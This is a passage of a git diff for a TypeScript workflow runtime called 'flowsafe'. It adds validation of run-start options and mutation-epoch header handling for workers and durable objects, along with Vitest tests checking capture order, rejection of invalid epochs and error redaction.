read.mockRestore(); + f.sql.close(); + } + }); + + it.each([ + 'stable', + 'alternating', + 'second-throw', + ] as const)('C captures each schedule dispatch primitive once before canonicalization: %s', async (mode) => { + const { runtime } = buildRuntime(new InMemoryStore()); + const scheduleId = cPrimitive('schedule-original', mode); + const dispatchId = cPrimitive('dispatch-original', mode); + const pending = runtime.start('echo', { + runId: 'capture-dispatch', + inputData: { value: 'original' }, + scheduleDispatch: { + get scheduleId() { + return scheduleId(); + }, + get dispatchId() { + return dispatchId(); + }, + }, + }); + await expect(pending).resolves.toMatchObject({ status: 'success' }); + expect(scheduleId).toHaveBeenCalledTimes(1); + expect(dispatchId).toHaveBeenCalledTimes(1); + }); + + it('C captures economic entries without invoking caller array methods', async () => { + const { runtime } = buildRuntime(new InMemoryStore()); + const id = vi.fn(() => 'operation-original'); + const settlementState = vi.fn(() => 'settled'); + const operations = [ + { + get id() { + return id(); + }, + get settlementState() { + return settlementState(); + }, + }, + ]; + const map = vi.fn(() => operations); + Object.defineProperty(operations, 'map', { value: map }); + try { + await expect( + runtime.start('echo', { + runId: 'caller-array', + inputData: { value: 'original' }, + economicOperations: operations, + }), + ).resolves.toMatchObject({ status: 'success' }); + expect(id).toHaveBeenCalledTimes(1); + expect(settlementState).toHaveBeenCalledTimes(1); + } finally { + expect(map).not.toHaveBeenCalled(); + } + }); + + it.each([ + 'stable', + 'alternating', + 'second-throw', + ] as const)('C captures each economic operation primitive once before canonicalization: %s', async (mode) => { + const { runtime } = buildRuntime(new InMemoryStore()); + const id = cPrimitive('operation-original', mode); + const settlementState = cPrimitive('settled', mode); + const pending = runtime.start('echo', { + runId: 'capture-operations', + inputData: { value: 'original' }, + economicOperations: [ + { + get id() { + return id(); + }, + get settlementState() { + return settlementState(); + }, + }, + ], + }); + await expect(pending).resolves.toMatchObject({ status: 'success' }); + expect(id).toHaveBeenCalledTimes(1); + expect(settlementState).toHaveBeenCalledTimes(1); + }); +}); + describe('RunnerRuntime host pubsub identity', () => { it('preserves the moved lifecycle error constructor identity', () => { expect(RunLifecycleBlockedError).toBe(LeafRunLifecycleBlockedError); diff --git a/packages/flowsafe/src/do-runner/runtime.ts b/packages/flowsafe/src/do-runner/runtime.ts index 76c6e587..55103c96 100644 --- a/packages/flowsafe/src/do-runner/runtime.ts +++ b/packages/flowsafe/src/do-runner/runtime.ts @@ -43,6 +43,12 @@ import { BREAKWATER_ISOLATION_SCOPE_KEY, BREAKWATER_WORKFLOW_SCOPE_KEY, } from './breakwater-keys.js'; +import { + normalizeMutationEpoch, + normalizeStartIdentity, + type RunExecutionIdentity, + type StartIdentity, +} from './execution-admission.js'; import { isReservedExecutionContextKey, RUN_PROVENANCE_CONTEXT_KEY, @@ -716,6 +722,16 @@ export type StartRunOptions = { * @internal */ idempotencyKey?: string; + readonly mutationEpoch?: number; + readonly startIdentity?: StartIdentity; + readonly agentStart?: { readonly threaded: boolean }; + readonly onPreparedStartIdentity?: ( + execution: RunExecutionIdentity, + ) => void | Promise; + readonly runOwnerGuard?: { + readonly owner: StartIdentity['owner']; + readonly reservationToken: string; + }; } & OptionalRunRequester; export type ResumeRunOptions = { @@ -774,6 +790,172 @@ function relativeDeadline( return deadlineAt; } +function captureStartRunOptions(source: StartRunOptions): StartRunOptions { + const { + runId, + inputData, + initialState, + storedRequestContext, + attemptToken, + deadlineMs, + economicOperations: rawOperations, + scheduleDispatch: rawDispatch, + idempotencyKey, + requestedBy, + requestedByKind, + mutationEpoch: rawEpoch, + startIdentity: rawIdentity, + agentStart: rawAgentStart, + onPreparedStartIdentity, + runOwnerGuard: rawGuard, + } = source; + if (requestedBy !== undefined && !isExecutionPrincipalId(requestedBy)) { + throw new InvalidRunRequestError('requestedBy is malformed'); + } + if ( + requestedByKind !== undefined && + !isExecutionPrincipalKind(requestedByKind) + ) { + throw new InvalidRunRequestError('requestedByKind is malformed'); + } + if ((requestedBy === undefined) !== (requestedByKind === undefined)) { + throw new InvalidRunRequestError( + 'requestedBy and requestedByKind must be provided together', + ); + } + const mutationEpoch = normalizeMutationEpoch(rawEpoch); + const startIdentity = + rawIdentity === undefined ? undefined : normalizeStartIdentity(rawIdentity); + let agentStart: StartRunOptions['agentStart']; + if (rawAgentStart !== undefined) { + if ( + rawAgentStart === null || + typeof rawAgentStart !== 'object' || + Array.isArray(rawAgentStart) + ) { + throw new InvalidRunRequestError('agentStart is malformed'); + } + const { threaded } = rawAgentStart; + if (typeof threaded !== 'boolean') { + throw new InvalidRunRequestError('agentStart is malformed'); + } + agentStart = Object.freeze({ threaded }); + } + if (startIdentity?.target.kind === 'agent' && agentStart === undefined) { + throw new InvalidRunRequestError( + 'agentStart is required for an agent target', + ); + } + if ( + startIdentity && + requestedBy !== undefined && + (startIdentity.owner.id !== requestedBy || + startIdentity.owner.kind !== requestedByKind) + ) { + throw new InvalidRunRequestError( + 'startIdentity owner does not match requester', + ); + } + if ( + onPreparedStartIdentity !== undefined && + typeof onPreparedStartIdentity !== 'function' + ) { + throw new InvalidRunRequestError('onPreparedStartIdentity is malformed'); + } + let runOwnerGuard: StartRunOptions['runOwnerGuard']; + if (rawGuard !== undefined) { + if ( + rawGuard === null || + typeof rawGuard !== 'object' || + Array.isArray(rawGuard) + ) { + throw new InvalidRunRequestError('runOwnerGuard is malformed'); + } + const { owner: rawOwner, reservationToken } = rawGuard; + if ( + rawOwner === null || + typeof rawOwner !== 'object' || + Array.isArray(rawOwner) + ) { + throw new InvalidRunRequestError('runOwnerGuard is malformed'); + } + const { kind, id } = rawOwner; + if ( + !isExecutionPrincipalKind(kind) || + !isExecutionPrincipalId(id) || + !isPathSafeId(reservationToken) + ) { + throw new InvalidRunRequestError('runOwnerGuard is malformed'); + } + runOwnerGuard = Object.freeze({ + owner: Object.freeze({ kind, id }), + reservationToken, + }); + } + if ( + deadlineMs !== undefined && + (!Number.isSafeInteger(deadlineMs) || deadlineMs < 0) + ) { + throw new InvalidRunRequestError( + 'deadlineMs must be a nonnegative safe integer', + ); + } + let dispatch: RunScheduleDispatch | undefined; + if (rawDispatch !== undefined) { + if ( + rawDispatch === null || + typeof rawDispatch !== 'object' || + Array.isArray(rawDispatch) + ) { + throw new Error('stored run lifecycle is malformed'); + } + const { scheduleId, dispatchId } = rawDispatch; + dispatch = { scheduleId, dispatchId }; + } + let operations: RunEconomicOperation[] | undefined; + if (rawOperations !== undefined) { + if (!Array.isArray(rawOperations)) { + throw new Error('stored run lifecycle is malformed'); + } + const length = rawOperations.length; + if (!Number.isSafeInteger(length) || length < 0 || length > 0xffff_ffff) { + throw new Error('stored run lifecycle is malformed'); + } + operations = new Array(length); + for (let index = 0; index < length; index++) { + if (!(index in rawOperations)) + throw new Error('stored run lifecycle is malformed'); + const entry = rawOperations[index]; + if (entry === null || typeof entry !== 'object' || Array.isArray(entry)) { + throw new Error('stored run lifecycle is malformed'); + } + const { id, settlementState } = entry; + operations[index] = { id, settlementState }; + } + } + const captured = { + runId, + inputData, + initialState, + storedRequestContext, + attemptToken, + deadlineMs, + economicOperations: canonicalEconomicOperations(operations), + scheduleDispatch: canonicalScheduleDispatch(dispatch), + idempotencyKey, + mutationEpoch, + startIdentity, + agentStart, + onPreparedStartIdentity, + runOwnerGuard, + }; + return Object.freeze( + requestedBy !== undefined && requestedByKind !== undefined + ? { ...captured, requestedBy, requestedByKind } + : captured, + ); +} + function lifecycleForStart( options: StartRunOptions, ): RunLifecycleState | undefined { @@ -1016,9 +1198,18 @@ export class RunnerRuntime { async start( workflowId: string, - options: StartRunOptions, + sourceOptions: StartRunOptions, ): Promise { + const options = captureStartRunOptions(sourceOptions); const workflow = this.#getWorkflow(workflowId); + if ( + options.startIdentity?.target.kind === 'workflow' && + options.startIdentity.target.id !== workflow.id + ) { + throw new InvalidRunRequestError( + 'startIdentity target does not match workflow', + ); + } // Reject non-path-safe ids at the mint boundary so the runId is unambiguous // everywhere it addresses the run (D1 key, DO name, URL path) — see // PATH_SAFE_ID_PATTERN. Fail fast, before the lock and any createRun work. @@ -1035,26 +1226,6 @@ export class RunnerRuntime { ); } const runId = options.runId; - if ( - options.requestedBy !== undefined && - !isExecutionPrincipalId(options.requestedBy) - ) { - throw new InvalidRunRequestError('requestedBy is malformed'); - } - if ( - options.requestedByKind !== undefined && - !isExecutionPrincipalKind(options.requestedByKind) - ) { - throw new InvalidRunRequestError('requestedByKind is malformed'); - } - if ( - (options.requestedBy === undefined) !== - (options.requestedByKind === undefined) - ) { - throw new InvalidRunRequestError( - 'requestedBy and requestedByKind must be provided together', - ); - } if ( options.attemptToken !== undefined && !isPathSafeId(options.attemptToken) diff --git a/packages/flowsafe/src/do-runner/thread-do.test.ts b/packages/flowsafe/src/do-runner/thread-do.test.ts index 33ea61b6..bf39fbba 100644 --- a/packages/flowsafe/src/do-runner/thread-do.test.ts +++ b/packages/flowsafe/src/do-runner/thread-do.test.ts @@ -9,6 +9,7 @@ import { TEST_DEPLOYMENT_IDENTITY_SECRET, } from '../../test-support/deployment-identity.js'; import { encodeExecutionPrincipal } from '../approval-api/index.js'; +import { MUTATION_EPOCH_HEADER } from './execution-admission.js'; import { EXECUTION_PRINCIPAL_HEADER } from './execution-principal-header.js'; import { type InitResult, init } from './init.js'; import { RunStateUnreadableError } from './runtime.js'; @@ -16,6 +17,7 @@ import { ThreadDurableObject, type ThreadScope } from './thread-do.js'; class TestThread extends ThreadDurableObject { builds = 0; + scopes: ThreadScope[] = []; events?: string[]; buildError?: Error; alarmError?: Error; @@ -31,6 +33,7 @@ class TestThread extends ThreadDurableObject { } protected route(_request: Request, scope: ThreadScope): Promise { + this.scopes.push(scope); return Promise.resolve( Response.json({ threadId: scope.threadId, @@ -113,7 +116,161 @@ function request( ); } +function cDeferred() { + let resolve = () => {}; + const promise = new Promise((done) => { + resolve = done; + }); + return { promise, resolve }; +} + describe('ThreadDurableObject identity boundary', () => { + it.each([ + undefined, + 0, + 2, + Number.MAX_SAFE_INTEGER, + ])('C captures thread headers before deployment verification: %s', async (epoch) => { + const entered = cDeferred(); + const release = cDeferred(); + const identity = deploymentIdentityDatabase(); + const thread = new TestThread( + { + id: { name: 'thread-1' }, + storage: {}, + } as unknown as DurableObjectState, + { + DEPLOYMENT_TENANT: 'acme', + DEPLOYMENT_IDENTITY_SECRET: TEST_DEPLOYMENT_IDENTITY_SECRET, + DB: { + prepare(query: string) { + const statement = identity.prepare(query); + return { + ...statement, + async all() { + const result = await statement.all(); + entered.resolve(); + await release.promise; + return result; + }, + }; + }, + }, + }, + ); + const input = request(); + if (epoch !== undefined) + input.headers.set(MUTATION_EPOCH_HEADER, String(epoch)); + const pending = thread.fetch(input); + try { + await entered.promise; + expect(thread.builds).toBe(0); + expect(thread.scopes).toEqual([]); + input.headers.set( + EXECUTION_PRINCIPAL_HEADER, + encodeExecutionPrincipal({ + kind: 'service', + id: 'replacement', + purpose: 'replacement start', + }), + ); + input.headers.set(MUTATION_EPOCH_HEADER, '3'); + } finally { + release.resolve(); + await pending; + } + expect((await pending).status).toBe(200); + expect(thread.scopes).toHaveLength(1); + const scope = thread.scopes[0]; + expect(scope).toMatchObject({ + threadId: 'thread-1', + deploymentTag: 'acme', + principal: { kind: 'human', id: 'operator', role: 'operator' }, + }); + expect(scope?.mutationEpoch).toBe(epoch); + expect(Object.isFrozen(scope)).toBe(true); + expect(Object.isFrozen(scope?.init)).toBe(false); + expect(Object.isFrozen(scope?.init.runtime)).toBe(false); + expect(Object.isFrozen(input)).toBe(false); + }); + + it.each([ + [ + 'credential', + 'thread/invalid', + false, + 'acme', + 'wrong-secret', + 503, + 'credential', + ], + [ + 'deployment', + 'thread/invalid', + false, + 'globex', + TEST_DEPLOYMENT_IDENTITY_SECRET, + 503, + "belongs to 'globex'", + ], + [ + 'object', + 'thread/invalid', + false, + 'acme', + TEST_DEPLOYMENT_IDENTITY_SECRET, + 403, + 'path-safe id.name', + ], + [ + 'missing principal', + 'thread-1', + false, + 'acme', + TEST_DEPLOYMENT_IDENTITY_SECRET, + 403, + 'no trusted execution principal', + ], + [ + 'invalid principal', + 'thread-1', + 'malformed', + 'acme', + TEST_DEPLOYMENT_IDENTITY_SECRET, + 403, + 'invalid execution principal', + ], + [ + 'epoch', + 'thread-1', + true, + 'acme', + TEST_DEPLOYMENT_IDENTITY_SECRET, + 400, + 'mutationEpoch must be a nonnegative safe integer or undefined', + ], + ] as const)('C thread ingress preserves combined-invalid precedence: %s', async (_label, name, principal, storedTag, secret, status, message) => { + const events: string[] = []; + const thread = threadWith(name, { storedTag, events }); + const input = request(principal === true, secret); + if (principal === 'malformed') + input.headers.set(EXECUTION_PRINCIPAL_HEADER, 'malformed'); + input.headers.set(MUTATION_EPOCH_HEADER, '01'); + const response = await thread.fetch(input); + expect(response.status).toBe(status); + const body = (await response.json()) as { error: string; reason?: unknown }; + expect(body.error).toContain(message); + if (status === 400) + expect(body).toEqual({ + error: message, + reason: { code: 'INVALID_MUTATION_EPOCH' }, + }); + expect(thread.builds).toBe(0); + expect(thread.scopes).toEqual([]); + expect(events).not.toContain('setAlarm'); + if (_label === 'credential') expect(events).toEqual([]); + }); + it('validates its local name before pre-arming alarm storage', async () => { const events: string[] = []; const thread = threadWith('thread/invalid', { events }); diff --git a/packages/flowsafe/src/do-runner/thread-do.ts b/packages/flowsafe/src/do-runner/thread-do.ts index 4693012e..ef238ba6 100644 --- a/packages/flowsafe/src/do-runner/thread-do.ts +++ b/packages/flowsafe/src/do-runner/thread-do.ts @@ -34,6 +34,10 @@ import { verifyDurableObjectDeploymentRequest, } from './deployment-identity.js'; import { DoStatusError, doErrorResponse } from './do-error-response.js'; +import { + MUTATION_EPOCH_HEADER, + mutationEpochFromHeader, +} from './execution-admission.js'; import { EXECUTION_PRINCIPAL_HEADER } from './execution-principal-header.js'; import type { InitResult } from './init.js'; import { isPathSafeId } from './path-safe-id.js'; @@ -72,6 +76,7 @@ export interface ThreadScope { * principals must have been declared by the target agent. */ readonly principal: ExecutionPrincipal; + readonly mutationEpoch?: number; /** This DO's storage/runtime/pubsub wiring, built once per instance. */ readonly init: InitResult; } @@ -143,6 +148,8 @@ export abstract class ThreadDurableObject { async fetch(request: Request): Promise { try { + const encodedPrincipal = request.headers.get(EXECUTION_PRINCIPAL_HEADER); + const encodedEpoch = request.headers.get(MUTATION_EPOCH_HEADER); // Deployment identity BEFORE request identity: a mis-provisioned // namespace (env tag vs D1 sentinel) refuses every request outright. // No-op off workerd (state undefined), memoized after first success. @@ -153,12 +160,17 @@ export abstract class ThreadDurableObject { ); // Assert BEFORE building: a refused caller never reaches storage, and the // ordering is visible here rather than buried inside the assertion. - const identity = this.#assertIdentity(request); - return await this.route(request, { - ...identity, - ...(deploymentTag !== undefined ? { deploymentTag } : {}), - init: this.#ensureInit(), - }); + const identity = this.#assertIdentity(encodedPrincipal); + const mutationEpoch = mutationEpochFromHeader(encodedEpoch); + return await this.route( + request, + Object.freeze({ + ...identity, + ...(mutationEpoch === undefined ? {} : { mutationEpoch }), + ...(deploymentTag !== undefined ? { deploymentTag } : {}), + init: this.#ensureInit(), + }), + ); } catch (error) { // The SAME taxonomy DurableObjectRunner answers with: route() drives runs // through scope.init.runtime, so its typed errors (unknown run -> 404, not @@ -207,9 +219,9 @@ export abstract class ThreadDurableObject { * The chokepoint: every request must carry the trusted execution principal. * `route()` receives the asserted scope, never the raw request identity. */ - #assertIdentity(request: Request): Omit { + #assertIdentity(encodedPrincipal: string | null): Omit { const threadId = this.threadId; - const principal = this.#principalFrom(request); + const principal = this.#principalFrom(encodedPrincipal); return { threadId, principal, @@ -227,8 +239,7 @@ export abstract class ThreadDurableObject { * This is the SOLE identity channel: every route consumes `scope.principal`, * so no parallel actor/requester representation can disagree with it. */ - #principalFrom(request: Request): ExecutionPrincipal { - const header = request.headers.get(EXECUTION_PRINCIPAL_HEADER); + #principalFrom(header: string | null): ExecutionPrincipal { if (header === null) { throw new ThreadIdentityError( `thread identity mismatch: request for '${this.threadId}' carries no trusted execution principal`, diff --git a/packages/flowsafe/src/execution-entry-matrix.test.ts b/packages/flowsafe/src/execution-entry-matrix.test.ts index 1a28b0bb..f1548232 100644 --- a/packages/flowsafe/src/execution-entry-matrix.test.ts +++ b/packages/flowsafe/src/execution-entry-matrix.test.ts @@ -1632,6 +1632,46 @@ function siteKey(site: GateSite): string { } describe('execution-entry matrix', () => { + it.each([ + 'do-runner/runtime.ts', + 'do-runner/durable-object.ts', + 'do-runner/thread-do.ts', + 'agent-host/thread-host.ts', + 'agent-runner/durable-agent-runner.ts', + ])('C transport entry keeps activation APIs dormant: %s', (file) => { + const source = sourceFileSystem().readFileSync( + `${sourceRoot()}/${file}`, + 'utf8', + ); + const parsed = ts.createSourceFile( + file, + source, + ts.ScriptTarget.Latest, + true, + ); + const calls: string[] = []; + const forbidden = new Set([ + 'assertMutationEpoch', + 'withInitialAdmission', + 'terminalizeInitialAdmission', + 'onPreparedStartIdentity', + ]); + const visit = (node: ts.Node): void => { + if (ts.isCallExpression(node)) { + const expression = node.expression; + const name = ts.isIdentifier(expression) + ? expression.text + : ts.isPropertyAccessExpression(expression) + ? expression.name.text + : undefined; + if (name && forbidden.has(name)) calls.push(name); + } + ts.forEachChild(node, visit); + }; + visit(parsed); + expect(calls).toEqual([]); + }); + describe('SQL admission source census', () => { const fenceTable = `\${EXECUTION_FENCE_TABLE}`; const insert = `INSERT INTO \${snapshotTable}`; diff --git a/packages/flowsafe/src/host-kit/do-run-topology.test.ts b/packages/flowsafe/src/host-kit/do-run-topology.test.ts index 5388fe99..26a09e3f 100644 --- a/packages/flowsafe/src/host-kit/do-run-topology.test.ts +++ b/packages/flowsafe/src/host-kit/do-run-topology.test.ts @@ -1,7 +1,12 @@ // SPDX-License-Identifier: Apache-2.0 import { describe, expect, it, vi } from 'vitest'; -import { EXECUTION_PRINCIPAL_HEADER } from '../do-runner/index.js'; +import { + EXECUTION_PRINCIPAL_HEADER, + InvalidMutationEpochError, + MUTATION_EPOCH_HEADER, + MutationEpochMismatchError, +} from '../do-runner/index.js'; import { createDoRunTopology, type DoRunLifecycleTopology, @@ -43,6 +48,103 @@ function harness() { }; } +describe('C workflow epoch transport', () => { + it.each([ + undefined, + 0, + Number.MAX_SAFE_INTEGER, + ])('C workflow wire carries only canonical epoch headers (%s)', async (mutationEpoch) => { + const { topology, requests } = harness(); + await topology.start({ + workflowId: 'workflow-1', + runId: 'run-1', + inputData: { user: true }, + principal: { kind: 'human', id: 'actor-1', role: 'admin' }, + mutationEpoch, + }); + expect( + new Headers(requests[0]?.init?.headers).get(MUTATION_EPOCH_HEADER), + ).toBe(mutationEpoch === undefined ? null : String(mutationEpoch)); + const body = JSON.parse(requests[0]?.init?.body ?? ''); + expect(body).toEqual({ + workflowId: 'workflow-1', + runId: 'run-1', + inputData: { user: true }, + }); + for (const field of [ + 'mutationEpoch', + 'startIdentity', + 'agentStart', + 'execution', + 'tablePrefix', + 'startToken', + 'attemptToken', + 'runOwnerGuard', + 'onPreparedStartIdentity', + ]) + expect(Object.hasOwn(body, field)).toBe(false); + }); + + it.each([ + null, + '2', + true, + -1, + 0.5, + NaN, + Infinity, + Number.MAX_SAFE_INTEGER + 1, + ])('C invalid workflow epoch refuses before namespace lookup (%s)', async (mutationEpoch) => { + const { topology, namespace, requests } = harness(); + const get = vi.spyOn(namespace, 'get'); + await expect( + topology.start({ + workflowId: 'workflow-1', + runId: 'run-1', + inputData: {}, + principal: { kind: 'human', id: 'a', role: 'admin' }, + mutationEpoch: mutationEpoch as number, + }), + ).rejects.toBeInstanceOf(InvalidMutationEpochError); + expect(namespace.idFromName).not.toHaveBeenCalled(); + expect(get).not.toHaveBeenCalled(); + expect(requests).toEqual([]); + }); + + it.each([ + 'missing', + 'stale', + 'future', + ] as const)('C workflow transport preserves complete downstream epoch refusal (%s)', async (classification) => { + const error = new MutationEpochMismatchError(classification, 2); + const topology = createDoRunTopology( + { + idFromName: (name: string) => name, + get: () => ({ + fetch: async () => + Response.json( + { error: error.message, reason: error.reason }, + { status: 409 }, + ), + }), + }, + DEPLOYMENT_IDENTITY_SECRET, + ); + await expect( + topology.start({ + workflowId: 'workflow-1', + runId: 'run-1', + inputData: {}, + principal: { kind: 'human', id: 'a', role: 'admin' }, + }), + ).rejects.toMatchObject({ + status: 409, + message: error.message, + reason: error.reason, + }); + }); +}); + describe('createDoRunTopology', () => { it('keeps the legacy topology structurally compatible while returning lifecycle methods', () => { const summary = { runId: 'run-1', status: 'running' as const }; diff --git a/packages/flowsafe/src/host-kit/do-run-topology.ts b/packages/flowsafe/src/host-kit/do-run-topology.ts index 8f727bfc..1e3473de 100644 --- a/packages/flowsafe/src/host-kit/do-run-topology.ts +++ b/packages/flowsafe/src/host-kit/do-run-topology.ts @@ -21,6 +21,7 @@ import { EXECUTION_PRINCIPAL_HEADER, type RunLifecycleCas, type RunSummary, + stampMutationEpoch, } from '../do-runner/index.js'; import { type DoResponseLike, doSummary } from './do-response.js'; import type { RunStartInput } from './run-router.js'; @@ -155,6 +156,7 @@ export function createDoRunTopology( inputData, initialState, principal, + mutationEpoch, scheduleId, dispatchId, deadlineMs, @@ -165,13 +167,15 @@ export function createDoRunTopology( 'scheduled run starts require both scheduleId and dispatchId', ); } + const headers = new Headers({ + 'content-type': 'application/json', + [EXECUTION_PRINCIPAL_HEADER]: encodeExecutionPrincipal(principal), + }); + stampMutationEpoch(headers, mutationEpoch); return doSummary( await stub(workflowId, runId).fetch('http://do/runs', { method: 'POST', - headers: deploymentIdentityHeaders(deploymentIdentitySecret, { - 'content-type': 'application/json', - [EXECUTION_PRINCIPAL_HEADER]: encodeExecutionPrincipal(principal), - }), + headers: deploymentIdentityHeaders(deploymentIdentitySecret, headers), body: JSON.stringify({ workflowId, runId, diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts index 4933c9c6..bbfaa680 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts @@ -22,6 +22,7 @@ import { } from '../audit-export/index.js'; import { EXECUTION_PRINCIPAL_HEADER, + InvalidMutationEpochError, type RunDeadlineCursor, type RunSummary, } from '../do-runner/index.js'; @@ -167,6 +168,223 @@ function makeWorker( }); } +function cWorkerDeferred() { + let release!: () => void; + const promise = new Promise((resolve) => { + release = resolve; + }); + return { promise, release }; +} + +describe('C Worker epoch capture', () => { + it.each([ + '/runs', + '/healthz', + '/admin/maintenance-status', + ])('C captures Worker epoch before identity SQL', async (path) => { + type EpochEnv = FlowsafeWorkerEnv & { epoch: number }; + const order: string[] = []; + const observed: Array = []; + let sourceReads = 0; + const source = vi.fn((env: EpochEnv) => { + order.push('epoch'); + return env.epoch; + }); + const config: FlowsafeWorkerConfig = { + systemPrincipalId: 'test-system', + workflows: WORKFLOWS, + maintenance: { sweepIntervalMs: 1, purgeIntervalMs: 1 }, + get mutationEpoch() { + sourceReads++; + return source; + }, + buildVerifier: () => staticTokenVerifier(ACTORS), + beforeStart: async (context) => { + observed.push(context.mutationEpoch); + }, + }; + const worker = createFlowsafeWorker(config); + expect(sourceReads).toBe(1); + expect(source).not.toHaveBeenCalled(); + Object.defineProperty(config, 'mutationEpoch', { value: () => 99 }); + for (const epoch of [0, Number.MAX_SAFE_INTEGER]) { + const h = makeEnv(); + const env: EpochEnv = { ...h.env, epoch }; + const entered = cWorkerDeferred(); + const hold = cWorkerDeferred(); + const nativePrepare = env.DB.prepare.bind(env.DB); + let held = false; + const prepare = vi.spyOn(env.DB, 'prepare').mockImplementation((sql) => { + const statement = nativePrepare(sql); + if (!held && sql.includes('sqlite_schema')) { + const bind = statement.bind.bind(statement); + statement.bind = (...values: unknown[]) => { + const bound = bind(...values); + const all = bound.all.bind(bound); + bound.all = async () => { + const result = await all(); + held = true; + order.push('sql'); + entered.release(); + await hold.promise; + return result; + }; + return bound; + }; + } + return statement; + }); + const pending = worker.fetch( + authed( + `http://host${path}`, + path === '/runs' + ? { + method: 'POST', + body: JSON.stringify({ workflowId: 'wf', inputData: {} }), + } + : {}, + ), + env, + h.ctx, + ); + try { + await entered.promise; + expect(order.slice(-2)).toEqual(['epoch', 'sql']); + env.epoch = 3; + hold.release(); + const response = await pending; + expect(response.status).toBe( + path === '/admin/maintenance-status' ? 503 : 200, + ); + if (path === '/runs') expect(observed.at(-1)).toBe(epoch); + } finally { + hold.release(); + await pending; + await h.flush(); + prepare.mockRestore(); + } + } + expect(sourceReads).toBe(1); + expect(source).toHaveBeenCalledTimes(2); + }); + + it('C Worker epoch remains captured through authentication', async () => { + const h = makeEnv(); + const entered = cWorkerDeferred(); + const hold = cWorkerDeferred(); + let epoch = 2; + const seen: unknown[] = []; + const worker = makeWorker({ + mutationEpoch: () => epoch, + buildVerifier: () => ({ + verify: async () => { + entered.release(); + await hold.promise; + return { id: 'ada', role: 'admin' }; + }, + }), + beforeStart: async (context) => { + seen.push(context.mutationEpoch); + }, + }); + const pending = worker.fetch( + authed('http://host/runs', { + method: 'POST', + body: '{"workflowId":"wf"}', + }), + h.env, + h.ctx, + ); + try { + await entered.promise; + epoch = 9; + hold.release(); + expect((await pending).status).toBe(200); + expect(seen).toEqual([2]); + } finally { + hold.release(); + await pending; + await h.flush(); + } + }); + + it.each([ + null, + '2', + true, + -1, + 0.5, + NaN, + Infinity, + Number.MAX_SAFE_INTEGER + 1, + ])('C Worker rejects invalid scalar setup and callback without effects (%s)', async (value) => { + expect(() => makeWorker({ mutationEpoch: value as number })).toThrow( + InvalidMutationEpochError, + ); + const h = makeEnv(); + const prepare = vi.spyOn(h.env.DB, 'prepare'); + const auth = vi.fn(() => staticTokenVerifier(ACTORS)); + const route = vi.fn(); + const response = await makeWorker({ + mutationEpoch: () => value, + buildVerifier: auth, + preRoutes: route, + }).fetch(authed('http://host/workflows'), h.env, h.ctx); + expect(response.status).toBe(400); + expect(await response.json()).toEqual({ + error: new InvalidMutationEpochError().message, + reason: { code: 'INVALID_MUTATION_EPOCH' }, + }); + expect(prepare).not.toHaveBeenCalled(); + expect(auth).not.toHaveBeenCalled(); + expect(route).not.toHaveBeenCalled(); + expect(h.doCalls).toEqual([]); + await h.flush(); + }); + + it.each([ + 'promise', + 'thenable', + ] as const)('C Worker never awaits an epoch callback result (%s)', async (kind) => { + const then = vi.fn(); + const value = kind === 'promise' ? Promise.resolve(2) : { then }; + const h = makeEnv(); + const prepare = vi.spyOn(h.env.DB, 'prepare'); + const response = await makeWorker({ mutationEpoch: () => value }).fetch( + authed('http://host/healthz'), + h.env, + h.ctx, + ); + expect(response.status).toBe(400); + expect(then).not.toHaveBeenCalled(); + expect(prepare).not.toHaveBeenCalled(); + await h.flush(); + }); + + it.each([ + new Error('private sentinel'), + { + name: 'InvalidMutationEpochError', + status: 400, + reason: { code: 'INVALID_MUTATION_EPOCH' }, + message: 'private sentinel', + }, + ])('C Worker keeps generic callback errors redacted', async (error) => { + capturedLogs(); + const h = makeEnv(); + const prepare = vi.spyOn(h.env.DB, 'prepare'); + const response = await makeWorker({ + mutationEpoch: () => { + throw error; + }, + }).fetch(authed('http://host/healthz'), h.env, h.ctx); + expect(response.status).toBe(500); + expect(await response.json()).toEqual({ error: 'internal error' }); + expect(prepare).not.toHaveBeenCalled(); + await h.flush(); + }); +}); + function authed(url: string, init: RequestInit = {}): Request { return new Request(url, { ...init, diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.ts index f64e2b85..eb91d438 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.ts @@ -38,6 +38,10 @@ import { } from '../audit-export/index.js'; import { credentialsMatch } from '../do-runner/deployment-identity.js'; import type { DurableObjectRunLifecycleHooks } from '../do-runner/durable-object.js'; +import { + InvalidMutationEpochError, + normalizeMutationEpoch, +} from '../do-runner/execution-admission.js'; import type { DeploymentIdentityDatabase, ExecutionFenceStore, @@ -333,6 +337,7 @@ export interface FlowsafeRunnerLifecycleConfig { export interface FlowsafeWorkerConfig extends FlowsafeRunnerLifecycleConfig { + mutationEpoch?: number | ((env: Env) => unknown); /** The catalog createRunRouter serves and gates (hosts pass their metas). */ workflows: ReadonlyArray; /** @@ -1120,6 +1125,8 @@ async function inventoryAdminResponse( export function createFlowsafeWorker( config: FlowsafeWorkerConfig, ): FlowsafeWorker { + const epochSource = config.mutationEpoch; + if (typeof epochSource !== 'function') normalizeMutationEpoch(epochSource); const storageTablePrefix = validateTablePrefix( config.storageTablePrefix, 'storageTablePrefix', @@ -1132,8 +1139,10 @@ export function createFlowsafeWorker( notify: ApprovalNotificationSink | undefined, selfDecision: SelfDecisionPolicy, stream: ApprovalStreamSink | undefined, + mutationEpoch: number | undefined, ): ActorResolver => { const base = createActorResolver({ + mutationEpoch, authenticate: bearerActorAuthenticator(config.buildVerifier(env)), storeFactory: approvalStoreFactoryFor(env.DB, storageTablePrefix), deploymentTag: env.DEPLOYMENT_TENANT, @@ -1486,6 +1495,9 @@ export function createFlowsafeWorker( return { async fetch(request, env, ctx) { try { + const mutationEpoch = normalizeMutationEpoch( + typeof epochSource === 'function' ? epochSource(env) : epochSource, + ); await ensureDeploymentIdentityBindings(env); await validateFleetChannelTopology(env); const url = new URL(request.url); @@ -1552,6 +1564,7 @@ export function createFlowsafeWorker( notify, selfDecision, streamSink, + mutationEpoch, ); if (config.preRoutes) { @@ -1666,6 +1679,12 @@ export function createFlowsafeWorker( ); return json({ error: 'deployment unavailable' }, 503); } + if (error instanceof InvalidMutationEpochError) { + return json( + { error: error.message, reason: error.reason }, + error.status, + ); + } // Backstop: a mounted router 